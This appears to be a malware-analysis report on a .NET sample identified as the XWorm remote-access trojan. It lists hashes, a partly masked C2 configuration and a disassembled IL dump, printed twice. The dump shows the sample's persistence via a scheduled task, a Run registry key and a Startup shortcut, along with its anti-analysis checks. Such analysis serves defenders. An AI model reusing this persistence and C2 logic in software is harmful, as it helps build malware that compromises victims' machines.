2ae734f7ba08ad957dc402cbf8e066a3

PE Executable

MD5: 2ae734f7ba08ad957dc402cbf8e066a3

Size: 37.38 KB

application/x-dosexec

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	2ae734f7ba08ad957dc402cbf8e066a3
Sha1	9f7237f619bec26c47fd0eb2f93e927326d05a77
Sha256	9de5fbbf514b8c0d56c5527fce70e9e5eb91f50ab72ab156d29b35535c8f2a6d
Sha384	120bd83d47564fc0d6ad4af0da2c8585bd67a81f75c22245764c4422c39d922d78fcb9d914ed9468ba517e32921fd091
Sha512	a6f551f8620bef333ff899a1b2d991e2b496ef95f1ee2cb5998fac43d65db208c3b6e6c98c7327374a29d1e6003009c41e26fc5b3ad532eaabbee1be764f27c6
SSDeep	384:dJmh6jJkp49fDuEP37zPbQm2/noL+vAMsfQ1RYpkFTBLT39Y0ZwRJziKUV+is2UZ:jmkX9FbQmgnM+XsfmJF19LWO/hzn/7+
TLSH	84F23A48B7A14222D5FEAFF959B2A1460674E613DD13EF5E0CE845DB1F27BC08E013A6

PeID

.NET executable

Microsoft Visual C# / Basic .NET

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

Microsoft Visual C# v7.0 / Basic .NET

Microsoft Visual Studio .NET

File Structure

Malware Configuration - XWorm config.

Config. Field0	Value
Mutex	RKfMihuhuhuhuhuhuhu
Hosts	tcp.chuhuhuhuhuhuhu
Port	1huhuhuhu
KEY	<6huhuhuhu
USBNM	<XWhuhuhuhu
family	xhuhuhuhu

We extracted this malware's full configuration (C2, credentials, campaign IDs…).

Unlock with Essential

Informations

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	xano.exe
Full Name	xano.exe
EntryPoint	System.Void Stub.Main::Main()
Scope Name	xano.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	xano
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	197
Main Method	System.Void Stub.Main::Main()
Main IL Instruction Count	308
Main IL	ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Group call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Group ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::InstallStr leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00D8: call System.Void Stub.Main::RunAntiAnalysis() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_00EE: ldsfld System.String Settings::InstallDir dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: ldsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Settings::InstallStr call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0130: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0147: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0172: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0172: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01D8: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_021C: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_023D: call My.MyComputer My.MyProject::get_Computer() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_023D: call My.MyComputer My.MyProject::get_Computer() call My.MyComputer My.MyProject::get_Computer() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_0278: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0278: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_02FD: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Helper::fileStream leave.s IL_037C: call System.Void Stub.Helper::PreventSleep() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_037C: call System.Void Stub.Helper::PreventSleep() call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name	xano.exe
Full Name	xano.exe
EntryPoint	System.Void Stub.Main::Main()
Scope Name	xano.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	xano
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	197
Main Method	System.Void Stub.Main::Main()
Main IL Instruction Count	308
Main IL	ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Group call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Group ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::InstallStr leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00D8: call System.Void Stub.Main::RunAntiAnalysis() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_00EE: ldsfld System.String Settings::InstallDir dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: ldsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Settings::InstallStr call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0130: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0147: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0172: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0172: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01D8: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_021C: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_023D: call My.MyComputer My.MyProject::get_Computer() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_023D: call My.MyComputer My.MyProject::get_Computer() call My.MyComputer My.MyProject::get_Computer() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_0278: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0278: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_02FD: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Helper::fileStream leave.s IL_037C: call System.Void Stub.Helper::PreventSleep() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_037C: call System.Void Stub.Helper::PreventSleep() call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Artefacts

Name	Value
Mutex	RKfMihuhuhuhuhuhuhu
CnC	tcp.chuhuhuhuhuhuhu
Port	1huhuhuhu

Full artefact values (URLs, paths, registry keys…) are available with Essential.

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2ae734f7ba08ad957dc402cbf8e066a3 (37.38 KB)

File Structure

Characteristics

Malware Configuration - XWorm config.

Config. Field0	Value
Mutex	RKfMihuhuhuhuhuhuhu
Hosts	tcp.chuhuhuhuhuhuhu
Port	1huhuhuhu
KEY	<6huhuhuhu
USBNM	<XWhuhuhuhu
family	xhuhuhuhu

We extracted this malware's full configuration (C2, credentials, campaign IDs…).

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Artefacts

Name	Value	Location
Mutex	RKfMihuhuhuhuhuhuhu Malicious	2ae734f7ba08ad957dc402cbf8e066a3
CnC	tcp.chuhuhuhuhuhuhu Malicious	2ae734f7ba08ad957dc402cbf8e066a3
Port	1huhuhuhu Malicious	2ae734f7ba08ad957dc402cbf8e066a3

Full artefact values (URLs, paths, registry keys…) are available with Essential.

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